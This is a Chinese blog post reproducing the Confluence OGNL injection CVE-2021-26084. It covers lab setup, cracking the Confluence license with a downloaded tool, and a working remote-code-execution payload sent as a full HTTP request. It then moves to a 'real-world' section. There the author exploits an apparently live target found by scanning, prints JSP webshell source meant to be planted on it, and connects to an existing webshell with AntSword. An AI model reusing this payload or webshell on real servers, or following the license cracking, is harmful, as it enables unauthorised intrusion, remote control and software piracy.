CVE-2021-26084(confluence)

前言

Confluence Server、Confluence Data Center等产品存在OGNL 注入漏洞,允许经过身份验证的用户(在某些情况下的未经身份验证的用户)在 Confluence Server或Confluence Data Center实例上执行任意代码。

一、环境搭建

1、搭建 JAVA 运行环境

命令:sudo apt install openjdk-8-jre-headless
在这里插入图片描述安装成功
在这里插入图片描述

2、配置MySQL库

去下载 MySQL 下载地址:https://downloads.mysql.com/archives/community/
接着依次输入如下命令

mkdir mysql5.7.37   //创建文件夹
mv mysql-server_5.7.37-1ubuntu18.04_amd64.deb-bundle.tar  /home/ubontu/mysql5.7.37     
//移动文件至某一文件夹,注意后面是刚才创建的文件夹路径   
cd ~/mysql5.7.37
sudo tar -vxf mysql-server_5.7.37-1ubuntu18.04_amd64.deb-bundle.tar //解压文件  
sudo rm -f mysql-community-test_5.7.37-1ubuntu18.04_amd64.deb    
sudo rm -f mysql-testsuite_5.7.37-1ubuntu18.04_amd64.deb //删除两个测试相关的包     
sudo dpkg -i mysql-*.deb   //用dpkg进行安装     
sudo apt-get install libaio1    
sudo apt-get install libtinfo5  //安装缺少的包 
sudo apt --fix-broken install    
sudo dpkg -i mysql-*.deb   //再次dpkg进行安装

补充说明:
使用命令:sudo dpkg -i mysql-*.deb 安装时会因为缺少依赖关系报错
在这里插入图片描述

因此使用下面两个命令安装缺少包
在这里插入图片描述

在按照它所说执行命令,即 sudo apt --fix-broken install ,之后再次 dpkg 进行安装即可
但是我查看版本却是报错,说是没有密码
在这里插入图片描述
没办法,照着大佬的来做

sudo service mysql stop   //停止 mysql 服务   
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf #修改MySQL的登录设置,暂时不校验登陆密码,即注释掉 symbolic-links 并添加 skip-grant-tables   
sudo service mysql restart # 重启 mysql 服务   
mysql -u root mysql        # 免密登录mysql
update mysql.user set authentication_string=password('root6666') where user='root';  //修改 root 用户的密码 
flush privileges;   //刷新生效     
sudo service mysql stop    //停止 mysql 服务          
sudo gedit /etc/mysql/mysql.conf.d/mysqld.cnf    //还原mysql 配置   
sudo service mysql restart   //重启 mysql 服务     
mysql -u root -p    //登录mysql   
create database confluence default character set utf8 collate utf8_bin;   //创建数据库       
create user 'confluence'@'%' identified by 'confluence123';
   //添加 confluence 用户     
select * from mysql.user where user='confluence';      //看一下创建成功了吗
grant all on confluence.* to 'confluence'@'%' identified by 'confluence123';   //为 confluence 用户授权  
show grants for 'confluence'@'%';      //看一下成功了吗
select @@global.tx_isolation, @@tx_isolation;   
set global tx_isolation='read-committed';

补充说明:
MySQL的登录设置修改后应该如下图所示
在这里插入图片描述还原MySQL登陆设置就是如下图
在这里插入图片描述
在这里插入图片描述

3、安装并破解 Confluence

下载界面: https://www.atlassian.com/software/confluence/download-archives
6.12.2 - Linux Installer(64 bit) 下载链接: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.2-x64.bin
先修改文件权限,命令:chmod +x atlassian-confluence-6.12.2-x64.bin
安装文件,命令:./atlassian-confluence-6.12.2-x64.bin
在这里插入图片描述然后就完成啦
在这里插入图片描述
安装完成之后通过访问 虚拟机的 ip+端口8090
PS:如果 ifconfig 命令没查到那么按照提示 sudo apt install net-tools 安装之后就能查到了
选择产品安装,下一步到下面界面,复制服务器ID
在这里插入图片描述

在服务器上停止 confluence 的运行,命令:sh /home/ubontu/atlassian/confluence/bin/stop-confluence.sh (注意路径,不清楚的可以切换到根目录后使用命令 sudo find -name stop-confluence.sh 查看)
在这里插入图片描述

从服务器上拷贝出文件 /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar (路径同上查找)
命令:cp /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar atlassian-extras-2.4.jar
下载破解工具并运行 破解工具 : 链接:https://pan.baidu.com/s/1Pi_ClXR6T4bLbJ-mPxYXtw 提取码:g3p5
在这里插入图片描述

之后再把文件重命名为 atlassian-extras-decoder-v2-3.4.1 放回原来路径下
命令:cp atlassian-extras-decoder-v2-3.4.1.jar /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar
同时将 Mysql 驱动拷贝到同级目录
命令:cp mysql-connector-java-5.1.48.jar /home/ubontu/atlassian/confluence/confluence/WEB-INF/lib/
然后启动,命令:sh /home/ubontu/atlassian/confluence/bin/start-confluence.sh
输入授权码(即 key 里面的内容)
选择我自己的数据库
在这里插入图片描述

然后下一步点击空白站点;再下一步点击在Confluence中管理用户和组
在这里插入图片描述

之后这样就是成功了
在这里插入图片描述

二、漏洞检测

poc地址: https://github.com/0xf4n9x/CVE-2021-26084
下载解压后运行
在这里插入图片描述

竟然没有
直接试下传包吧
payload如下

queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027whoami\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027whoami\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027

也就是发包

POST /pages/doenterpagevariables.action HTTP/1.1
Host: 192.168.223.129:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 575
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027whoami\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027whoami\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027

可以看到返回包时存在漏洞的
在这里插入图片描述

换命令也可以
在这里插入图片描述

三、实战

goby扫描出目标主机存在该漏洞
查看当前路径
在这里插入图片描述

查看当前用户
在这里插入图片描述

列出路径下文件列表
在这里插入图片描述

在该路径创建一个jsp文件,命令:touch …/confluence/mmy.jsp
在这里插入图片描述

那么试一下能不能写入,命令:echo+1234455+\u003E…/confluence/mmy.jsp
在这里插入图片描述

能写进去,那么写个jsp小马进去

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

但是不知道为什么,小马写不进去,同事说是因为编码的原因但是我搞不出来
然后我就发现它本来就有一个马,不知道哪个大佬写得
在这里插入图片描述

查看文件找到密码
在这里插入图片描述

之后蚁剑连接
在这里插入图片描述

成功,那么先看下它进程,因为是Linux,所以输入命令:ps aux
就发现有一条是
在这里插入图片描述

它里面有个IP,结合反弹shell原理,这个应该就是它的上级了

  • 20
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值